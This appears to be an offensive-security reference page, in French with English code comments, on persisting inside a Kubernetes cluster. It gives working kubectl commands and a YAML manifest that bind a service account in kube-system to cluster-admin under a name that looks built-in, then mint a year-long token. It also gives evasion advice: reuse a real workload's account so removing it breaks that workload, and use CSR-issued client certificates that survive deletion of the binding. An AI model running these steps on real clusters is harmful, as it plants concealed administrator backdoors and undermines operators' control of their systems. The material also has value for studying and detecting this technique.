La persistance Kubernetes la plus durable est un octroi RBAC à une identité que l'attaquant contrôle. Un token peut être renouvelé et un pod supprimé, mais un ClusterRoleBinding qui accorde à un service account le rôle cluster-admin reste en vigueur jusqu'à ce qu'un opérateur le trouve et le supprime, et il continue de fonctionner quelle que soit la fréquence de réémission du token sous-jacent, car c'est le binding, et non le token, qui porte l'autorité. L'attaquant crée un service account (ou en réutilise un existant et anodin) et l'associe à un rôle puissant.
Nécessite les droits de création de bindings (ou les verbes bind/escalate) :
kubectl auth can-i create clusterrolebindings
Poser le binding#
# a service account that blends in, in a busy namespace
kubectl create serviceaccount monitoring -n kube-system 2>/dev/null
# bind it to cluster-admin
cat <<YAML | kubectl apply -f -
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata: { name: system:monitoring-metrics } # a name that looks built-in
roleRef: { apiGroup: rbac.authorization.k8s.io, kind: ClusterRole, name: cluster-admin }
subjects:
- { kind: ServiceAccount, name: monitoring, namespace: kube-system }
YAML
# mint a token for it whenever needed
kubectl create token monitoring -n kube-system --duration=8760h
Rester caché#
# name the binding and SA to resemble system components (system:*, *-metrics)
# prefer binding an EXISTING service account used by a real workload, so the
# subject looks legitimate and deleting it would break that workload
kubectl get clusterrolebindings | grep -iE 'admin|system' # see what blends in
Notes d'exploitation#
- Le binding au rôle préexistant
cluster-adminest la méthode la plus propre et ne requiert que la capacité de créer un ClusterRoleBinding (plusbindsi l'anti-escalade s'applique) ; voir Verbes escalate et bind. - Nommer le binding et le service account pour imiter des composants système (
system:...,...-metrics,...-controller) retarde la découverte, tout comme attacher l'octroi à un service account déjà utilisé par une vraie charge de travail. - Une identité associée plus un
kubectl create tokenà la demande offrent un accès renouvelable sans stocker de token où que ce soit ; un certificat client issu de l'Approbation de CSR est une alternative qui survit même à la suppression du binding, jusqu'à la rotation de la CA.